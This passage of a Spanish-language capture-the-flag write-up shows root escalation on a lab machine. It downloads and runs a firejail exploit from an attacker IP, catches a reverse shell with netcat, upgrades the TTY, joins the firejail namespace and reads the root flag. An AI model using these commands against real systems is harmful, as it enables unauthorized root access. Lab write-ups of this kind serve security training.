uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
Escalada de privilegios
Usemos el exploit para firejail
:
atlas@sandworm:/opt/tipnet$ cd /tmp
atlas@sandworm:/tmp$ wget -q 10.10.17.44/exploit.py
atlas@sandworm:/tmp$ chmod +x exploit.py
atlas@sandworm:/tmp$ ./exploit.py
You can now run 'firejail --join=3065' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
Ahora necesitamos abrir otra reverse shell (llegará automáticamente) como atlas
y ejecutar los comandos de arriba (su -
en lugar de sudo su -
) para convertirnos en root
:
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.218:55424.
bash: cannot set terminal process group (2902): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
atlas@sandworm:/opt/tipnet$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
atlas@sandworm:/opt/tipnet$ export TERM=xterm
atlas@sandworm:/opt/tipnet$ export SHELL=bash
atlas@sandworm:/opt/tipnet$ stty rows 50 columns 158
atlas@sandworm:/opt/tipnet$ firejail --join=3065
changing root to /proc/3065/root
Warning: cleaning all supplementary groups
Child process initialized in 7.20 ms
atlas@sandworm:/opt/tipnet$ su -
root@sandworm:~# cat /root/root.txt
53da0e08e763ff3a5ba2f84e94c95fc1